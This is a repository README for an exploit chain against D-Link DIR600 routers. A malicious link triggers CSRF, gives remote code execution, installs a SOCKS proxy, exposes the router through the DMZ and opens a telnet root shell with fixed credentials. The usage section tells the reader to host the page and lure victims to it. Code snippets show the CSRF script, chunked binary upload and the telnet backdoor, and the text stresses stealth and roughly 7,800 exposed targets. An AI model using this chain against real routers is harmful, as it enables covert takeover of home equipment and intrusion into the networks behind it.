Alejandro Parodi

Overview

This repository contains a complete exploit chain targeting D-Link DIR600 routers, designed to achieve remote code execution and establish persistent network access through a single HTTP link. The exploit leverages multiple vulnerabilities to weaponize home routers and create covert tunnels into internal networks.

The Challenge

The initial objective was to gain control over internal networks by exploiting vulnerabilities in home routers. Since these devices are typically not exposed to the internet, the critical requirement was finding vulnerabilities exploitable via CSRF (Cross-Site Request Forgery) attacks through malicious web links.

Initial Research Constraints

The original research timeline was extremely tight - only one week without physical access to devices for debugging and analysis. After three days with minimal progress, I pivoted the research approach entirely.

However, those initial days provided crucial insights into the vulnerability requirements needed to compromise routers and establish internal network positioning.

Vulnerability Requirements

For a successful exploit chain, the target router needed to satisfy these conditions:

CSRF Vulnerability: No CSRF token validation
Authentication Issues: Default credentials or authentication bypass
CORS Misconfiguration: Accept HTTP requests from any origin (if using default credentials)
Remote Code Execution: A vector for achieving command execution

Research Pivot

Instead of discovering new vulnerabilities in untested devices, I shifted focus to identifying existing devices that already met all vulnerability criteria. The goal became creating a full exploit chain that combined these weaknesses for complete device compromise.

Technical Challenges

Binary Upload via HTTP

The primary challenge was the router’s lack of built-in tools for establishing reverse shells. This required:

Generating a MIPS LSB32 binary (matching the router’s processor architecture)
Uploading the binary in chunks via HTTP requests
Reconstructing the binary using echo commands
Bypassing multiple HTTP request processing restrictions

Special thanks to Q3rv0 for collaborative work on HTTP byte processing bypasses.

Post-Exploitation Weaponization

After gaining initial access, the objective expanded to weaponizing the router for persistent access:

Installing a SOCKS proxy server for traffic tunneling
Cross-compiling tools for MIPS LSB architecture
Establishing external connectivity through port exposure

Network Exposure Challenge

Since routers typically don’t expose ports to the internet by default, establishing external connectivity required:

Analyzing router behavior and port forwarding mechanisms
Understanding internal DMZ implementation
Reverse engineering iptables rule creation for DMZ configurations

The Complete Exploit

Capabilities

The final automated exploit achieves the following through a single HTTP link:

Complete Router Compromise: Exploits the full vulnerability chain on D-Link DIR600 devices
Security Bypass: Disables router protections and creates internet exposure via DMZ
Persistent Access: Installs a SOCKS proxy server for traffic tunneling from external networks
Remote Administration: Enables telnet access with credentials root:w00tw00t!
Stealth Operation: Maintains factory configuration appearance - all traces disappear on device reboot

Target Impact

Current Shodan/ZoomEye data shows approximately 7,800 vulnerable devices exposed to the internet:

Vulnerable Devices exposed to Internet Approximately 7,800 D-Link DIR600 devices exposed to the internet according to Shodan/ZoomEye data

Important Note: These figures only represent internet-exposed devices. The exploit can target internal routers (typically at 192.168.0.1 or other local IPs) via CSRF attacks through malicious web links, significantly expanding the potential victim pool beyond publicly visible devices.

Repository Structure

├── DMZ/                          # DMZ configuration scripts
├── curl_mipsle/                  # MIPS cross-compiled curl binary
├── exploit_dir600.html           # Main exploit payload
├── firmware/                     # Extracted firmware analysis
├── microsocks/                   # SOCKS proxy server for MIPS
├── reverse_shells/               # Reverse shell payloads
└── shellcode utilities/          # Shellcode conversion tools

Usage

⚠️ Warning: This tool is for educational and authorized testing purposes only. Unauthorized access to computer systems is illegal.

Host the exploit HTML file on a web server
Social engineer the target to visit the malicious link
The exploit automatically executes the full chain
Access the compromised router via the installed SOCKS proxy

Technical Details

Target: D-Link DIR600 routers
Architecture: MIPS LSB32
Attack Vector: CSRF via malicious web links
Persistence: Temporary (removed on reboot)
Network Access: SOCKS proxy tunneling

Exploit Chain Workflow

Step 1: Initial Access via CSRF

The attack begins with a malicious HTML page that performs CSRF attacks against the target router:

<script>
// Target common router IP addresses
var targets = ['192.168.0.1', '192.168.1.1', '10.0.0.1'];

targets.forEach(function(ip) {
    // Attempt authentication bypass
    var img = new Image();
    img.src = 'http://' + ip + '/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var:page=wizard&var:login=true&var:password=&var:action=login';
});
</script>

Step 2: Binary Upload and Reconstruction

Due to the router’s limited command execution capabilities, binaries must be uploaded in small chunks:

# Example: Upload SOCKS proxy binary
echo -ne '\x7f\x45\x4c\x46' > /tmp/microsocks
echo -ne '\x01\x01\x01\x00' >> /tmp/microsocks
# ... continue for entire binary
chmod +x /tmp/microsocks

Step 3: Service Installation and DMZ Configuration

# Start SOCKS proxy server
/tmp/microsocks -p 1080 &

# Configure DMZ to expose services
echo "dmz_enable=1" > /tmp/dmz_config
echo "dmz_host=$(nvram get lan_ipaddr)" >> /tmp/dmz_config

Step 4: Persistence and Cleanup

# Enable telnet access
telnetd -l /bin/sh -p 23 &

# Configure credentials
echo "root:w00tw00t!" | chpasswd

# All processes terminate on reboot for stealth

Impact Assessment

Network Penetration Scenarios

Corporate Networks: Employees working from home with compromised routers provide direct access to internal corporate networks through VPN connections.

IoT Botnets: Mass exploitation creates a distributed network of compromised routers for various malicious activities.

Advanced Persistent Threats: Long-term access to internal networks through “trusted” home networking equipment.

Defense Strategies

Network Segmentation: Isolate home office networks from critical corporate resources.

Firmware Management: Implement policies requiring regular router firmware updates.

Authentication Hardening: Mandate strong, unique credentials for all networking equipment.

Traffic Monitoring: Monitor for unusual outbound connections from router IP addresses.

Disclosure

This research demonstrates the critical security risks present in legacy home networking equipment. The vulnerabilities exploited are well-documented, and this work serves to highlight the importance of:

Regular firmware updates
Default credential changes
Network segmentation
CSRF protection implementation

Contributors

Primary Research: Alejandro Parodi (hdbreaker)
HTTP Bypass Techniques: Q3rv0

This research was conducted for educational purposes and responsible disclosure practices.

D-Link DIR600 Remote Code Execution Exploit Chain